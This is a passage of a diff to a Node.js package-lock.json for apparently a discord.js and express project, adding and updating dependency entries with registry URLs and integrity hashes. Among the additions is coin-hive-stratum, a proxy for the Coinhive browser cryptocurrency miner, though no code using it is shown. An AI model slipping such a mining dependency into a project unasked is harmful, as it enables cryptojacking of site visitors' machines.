"sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==", + "license": "MIT", + "dependencies": { + "safe-buffer": "5.1.2" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/basic-auth/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/bcryptjs": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/bcryptjs/-/bcryptjs-3.0.2.tgz", + "integrity": "sha512-k38b3XOZKv60C4E2hVsXTolJWfkGRMbILBIe2IBITXciy5bOsTKot5kDrf3ZfufQtQOUN5mXceUEpU1rTl9Uog==", + "license": "BSD-3-Clause", + "bin": { + "bcrypt": "bin/bcrypt" + } + }, "node_modules/biskviit": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", @@ -1531,6 +1661,15 @@ "node": ">=8" } }, + "node_modules/breakword": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/breakword/-/breakword-1.0.6.tgz", + "integrity": "sha512-yjxDAYyK/pBvws9H4xKYpLDpYKEH6CzrBPAuXq3x18I+c/2MkVtT3qAr7Oloi6Dss9qNhPVueAAVU1CSeNDIXw==", + "license": "MIT", + "dependencies": { + "wcwidth": "^1.0.1" + } + }, "node_modules/browserslist": { "version": "4.25.1", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz", @@ -1574,11 +1713,19 @@ "node-int64": "^0.4.0" } }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, "node_modules/buffer-from": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - "dev": true, "license": "MIT" }, "node_modules/bytes": { @@ -1633,7 +1780,6 @@ "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - "dev": true, "license": "MIT", "engines": { "node": ">=6" @@ -1709,6 +1855,18 @@ "dev": true, "license": "MIT" }, + "node_modules/cli-cursor": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", + "integrity": "sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==", + "license": "MIT", + "dependencies": { + "restore-cursor": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/cliui": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", @@ -1724,6 +1882,15 @@ "node": ">=12" } }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, "node_modules/co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", @@ -1735,6 +1902,37 @@ "node": ">= 0.12.0" } }, + "node_modules/coin-hive-stratum": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/coin-hive-stratum/-/coin-hive-stratum-1.4.10.tgz", + "integrity": "sha512-8BoMlASHMT5STxTmWO2zP2SxnB93xGwD1th2vQMFFcqxsOZW+uBK/jZKzG0uWum3/jaDUavH5gp4iIbk3WabMw==", + "license": "MIT", + "dependencies": { + "minimist": "^1.2.0", + "moment": "^2.19.1", + "ws": "^3.2.0" + }, + "bin": { + "coin-hive-stratum": "bin/coin-hive-stratum" + } + }, + "node_modules/coin-hive-stratum/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/coin-hive-stratum/node_modules/ws": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", + "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", + "license": "MIT", + "dependencies": { + "async-limiter": "~1.0.0", + "safe-buffer": "~5.1.0", + "ultron": "~1.1.0" + } + }, "node_modules/collect-v8-coverage": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", @@ -1766,6 +1964,21 @@ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", "license": "MIT" }, + "node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "engines": [ + "node >= 0.8" + ], + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, "node_modules/content-disposition": { "version": "0.5.4", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", @@ -1787,6 +2000,16 @@ "node": ">= 0.6" } }, + "node_modules/continuation-local-storage": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/continuation-local-storage/-/continuation-local-storage-3.2.1.tgz", + "integrity": "sha512-jx44cconVqkCEEyLSKWwkvUXwO561jXMa3LPjTPsm5QR22PA0/mhe33FT4Xb5y74JDvt/Cq+5lm8S8rskLv9ZA==", + "license": "BSD-2-Clause", + "dependencies": { + "async-listener": "^0.6.0", + "emitter-listener": "^1.1.1" + } + }, "node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", @@ -1809,6 +2032,25 @@ "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", "license": "MIT" }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "license": "MIT" + }, + "node_modules/cors": { + "version": "2.8.5", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", + "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + } + }, "node_modules/create-jest": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", @@ -1846,6 +2088,39 @@ "node": ">= 8" } }, + "node_modules/csv": { + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/csv/-/csv-5.5.3.tgz", + "integrity": "sha512-QTaY0XjjhTQOdguARF0lGKm5/mEq9PD9/VhZZegHDIBq2tQwgNpHc3dneD4mGo2iJs+fTKv5Bp0fZ+BRuY3Z0g==", + "license": "MIT", + "dependencies": { + "csv-generate": "^3.4.3", + "csv-parse": "^4.16.3", + "csv-stringify": "^5.6.5", + "stream-transform": "^2.1.3" + }, + "engines": { + "node": ">= 0.1.90" + } + }, + "node_modules/csv-generate": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/csv-generate/-/csv-generate-3.4.3.tgz", + "integrity": "sha512-w/T+rqR0vwvHqWs/1ZyMDWtHHSJaN06klRqJXBEpDJaM/+dZkso0OKh1VcuuYvK3XM53KysVNq8Ko/epCK8wOw==", + "license": "MIT" + }, + "node_modules/csv-parse": { + "version": "4.16.3", + "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-4.16.3.tgz", + "integrity": "sha512-cO1I/zmz4w2dcKHVvpCr7JVRu8/FymG5OEpmvsZYlccYolPBLoVGKUHgNoc4ZGkFeFlWGEDmMyBM+TTqRdW/wg==", + "license": "MIT" + }, + "node_modules/csv-stringify": { + "version": "5.6.5", + "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-5.6.5.tgz", + "integrity": "sha512-PjiQ659aQ+fUTQqSrd1XEDnOr52jh30RBurfzkscaE2tPaFsDH5wOAHJiw8XAHphRknCwMUE9KRayc4K/NbO8A==", + "license": "MIT" + }, "node_modules/data-uri-to-buffer": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", @@ -1864,6 +2139,15 @@ "ms": "2.0.0" } }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/dedent": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.6.0.tgz", @@ -1879,6 +2163,27 @@ } } }, + "node_modules/deep-metrics": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/deep-metrics/-/deep-metrics-0.0.1.tgz", + "integrity": "sha512-732WmZgCWxOkf4QBvrCjPPuT6wTEzaGye/4JqYsU/sO0J53UNX4PBwK0JV262BZ5cxgLmKhU+NlrtKdPDgybkg==", + "license": "Apache-2.0", + "dependencies": { + "semver": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/deep-metrics/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, "node_modules/deepmerge": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", @@ -1889,6 +2194,18 @@ "node": ">=0.10.0" } }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "license": "MIT", + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/depd": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", @@ -1938,24 +2255,24 @@ ] }, "node_modules/discord.js": { - "version": "14.19.3", - "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.19.3.tgz", - "integrity": "sha512-lncTRk0k+8Q5D3nThnODBR8fR8x2fM798o8Vsr40Krx0DjPwpZCuxxTcFMrXMQVOqM1QB9wqWgaXPg3TbmlHqA==", + "version": "14.21.0", + "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.21.0.tgz", + "integrity": "sha512-U5w41cEmcnSfwKYlLv5RJjB8Joa+QJyRwIJz5i/eg+v2Qvv6EYpCRhN9I2Rlf0900LuqSDg8edakUATrDZQncQ==", "license": "Apache-2.0", "dependencies": { "@discordjs/builders": "^1.11.2", "@discordjs/collection": "1.5.3", "@discordjs/formatters": "^0.6.1", - "@discordjs/rest": "^2.5.0", + "@discordjs/rest": "^2.5.1", "@discordjs/util": "^1.1.1", - "@discordjs/ws": "^1.2.2", + "@discordjs/ws": "^1.2.3", "@sapphire/snowflake": "3.5.3", "discord-api-types": "^0.38.1", "fast-deep-equal": "3.1.3", "lodash.snakecase": "4.1.1", "magic-bytes.js": "^1.10.0", "tslib": "^2.6.3", - "undici": "6.21.1" + "undici": "6.21.3" }, "engines": { "node": ">=18" @@ -1965,9 +2282,9 @@ } }, "node_modules/dotenv": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz", - "integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==", + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", "license": "BSD-2-Clause", "engines": { "node": ">=12" @@ -2018,6 +2335,24 @@ "dev": true, "license": "ISC" }, + "node_modules/elegant-spinner": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/elegant-spinner/-/elegant-spinner-1.0.1.tgz", + "integrity": "sha512-B+ZM+RXvRqQaAmkMlO/oSe5nMUOaUnyfGYCEHoR8wrXsZR2mA0XVibsxV1bvTwxdRWah1PkQqso2EzhILGHtEQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/emitter-listener": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/emitter-listener/-/emitter-listener-1.1.2.tgz", + "integrity": "sha512-Bt1sBAGFHY9DKY+4/2cV6izcKJUf5T7/gkdmkxzX/qv9CcGH8xSwVRW5mtX03SWJtRTWSOpzCuWN9rBFYZepZQ==", + "license": "BSD-2-Clause", + "dependencies": { + "shimmer": "^1.2.0" + } + }, "node_modules/emittery": { "version": "0.13.1", "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", @@ -2035,7 +2370,6 @@ "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, "license": "MIT" }, "node_modules/encodeurl": { @@ -2096,6 +2430,21 @@ "node": ">= 0.4" } }, + "node_modules/es6-promise": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", + "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==", + "license": "MIT" + }, + "node_modules/es6-promisify": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", + "integrity": "sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ==", + "license": "MIT", + "dependencies": { + "es6-promise": "^4.0.3" + } + }, "node_modules/escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", @@ -2145,6 +2494,15 @@ "node": ">= 0.6" } }, + "node_modules/exec-sh": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.2.2.tgz", + "integrity": "sha512-FIUCJz1RbuS0FKTdaAafAByGS0CPvU3R0MeHxgtl+djzCc//F8HakL8GzmVNZanasTbTAY/3DRFA0KpVqj/eAw==", + "license": "MIT", + "dependencies": { + "merge": "^1.2.0" + } + }, "node_modules/execa": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", @@ -2241,6 +2599,79 @@ "url": "https://opencollective.com/express" } }, + "node_modules/express-rate-limit": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.0.1.tgz", + "integrity": "sha512-aZVCnybn7TVmxO4BtlmnvX+nuz8qHW124KKJ8dumsBsmv5ZLxE0pYu7S2nwyRBGHHCAzdmnGyrc5U/rksSPO7Q==", + "license": "MIT", + "dependencies": { + "ip-address": "10.0.1" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/express-rate-limit" + }, + "peerDependencies": { + "express": ">= 4.11" + } + }, + "node_modules/express-session": { + "version": "1.18.2", + "resolved": "https://registry.npmjs.org/express-session/-/express-session-1.18.2.tgz", + "integrity": "sha512-SZjssGQC7TzTs9rpPDuUrR23GNZ9+2+IkA/+IJWmvQilTr5OSliEHGF+D9scbIpdC6yGtTI0/VhaHoVes2AN/A==", + "license": "MIT", + "dependencies": { + "cookie": "0.7.2", + "cookie-signature": "1.0.7", + "debug": "2.6.9", + "depd": "~2.0.0", + "on-headers": "~1.1.0", + "parseurl": "~1.3.3", + "safe-buffer": "5.2.1", + "uid-safe": "~2.1.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/express-session/node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express-session/node_modules/cookie-signature": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz", + "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==", + "license": "MIT" + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, + "node_modules/extract-zip": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.7.0.tgz", + "integrity": "sha512-xoh5G1W/PB0/27lXgMQyIhP5DSY/LhoCsOyZgb+6iMmRtCwVBo55uKaMoEYrDCKQhWvqEip5ZPKAc6eFNyf/MA==", + "license": "BSD-2-Clause", + "dependencies": { + "concat-stream": "^1.6.2", + "debug": "^2.6.9", + "mkdirp": "^0.5.4", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + } + }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", @@ -2254,6 +2685,15 @@ "dev": true, "license": "MIT" }, + "node_modules/fast-printf": { + "version": "1.6.10", + "resolved": "https://registry.npmjs.org/fast-printf/-/fast-printf-1.6.10.tgz", + "integrity": "sha512-GwTgG9O4FVIdShhbVF3JxOgSBY2+ePGsu2V/UONgoCPzF9VY6ZdBMKsHKCYQHZwNk3qNouUolRDsgVxcVA5G1w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=10.0" + } + }, "node_modules/fb-watchman": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", @@ -2264,6 +2704,15 @@ "bser": "2.1.1" } }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "license": "MIT", + "dependencies": { + "pend": "~1.2.0" + } + }, "node_modules/fetch": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fetch/-/fetch-1.1.0.tgz", @@ -2362,7 +2811,6 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, "license": "MIT", "dependencies": { "locate-path": "^5.0.0", @@ -2406,7 +2854,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "dev": true, "license": "ISC" }, "node_modules/fsevents": { @@ -2447,7 +2894,6 @@ "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true, "license": "ISC", "engines": { "node": "6.* || 8.* || >= 10.*" @@ -2518,7 +2964,6 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Glob versions prior to v9 are no longer supported", - "dev": true, "license": "ISC", "dependencies": { "fs.realpath": "^1.0.0", @@ -2554,6 +2999,12 @@ "dev": true, "license": "ISC" }, + "node_modules/grapheme-splitter": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "license": "MIT" + }, "node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -2610,6 +3061,34 @@ "node": ">= 0.8" } }, + "node_modules/https-proxy-agent": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz", + "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==", + "license": "MIT", + "dependencies": { + "agent-base": "^4.3.0", + "debug": "^3.1.0" + }, + "engines": { + "node": ">= 4.5.0" + } + }, + "node_modules/https-proxy-agent/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/https-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, "node_modules/human-signals": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", @@ -2620,8 +3099,51 @@ "node": ">=10.17.0" } }, - "node_modules/iconv-lite": { - "version": "0.4.24", + "node_modules/i18n": { + "version": "0.15.1", + "resolved": "https://registry.npmjs.org/i18n/-/i18n-0.15.1.tgz", + "integrity": "sha512-yue187t8MqUPMHdKjiZGrX+L+xcUsDClGO0Cz4loaKUOK9WrGw5pgan4bv130utOwX7fHE9w2iUeHFalVQWkXA==", + "license": "MIT", + "dependencies": { + "@messageformat/core": "^3.0.0", + "debug": "^4.3.3", + "fast-printf": "^1.6.9", + "make-plural": "^7.0.0", + "math-interval-parser": "^2.0.1", + "mustache": "^4.2.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/mashpie" + } + }, + "node_modules/i18n/node_modules/debug": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/i18n/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "license": "MIT", @@ -2667,7 +3189,6 @@ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", - "dev": true, "license": "ISC", "dependencies": { "once": "^1.3.0", @@ -2680,6 +3201,15 @@ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", "license": "ISC" }, + "node_modules/ip-address": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz", + "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, "node_modules/ipaddr.js": { "version": "1.9.1", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", @@ -2689,6 +3219,15 @@ "node": ">= 0.10" } }, + "node_modules/is": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/is/-/is-3.3.2.tgz", + "integrity": "sha512-a2xr4E3s1PjDS8ORcGgXpWx6V+liNs+O3JRD2mb9aeugD7rtkkZ0zgLdYgw0tWsKhsdiezGYptSiMlVazCBTuQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, "node_modules/is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", @@ -2716,7 +3255,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, "license": "MIT", "engines": { "node": ">=8" @@ -2755,6 +3293,12 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "license": "MIT" + }, "node_modules/isexe": { "version": "2.0.0", "resolved": 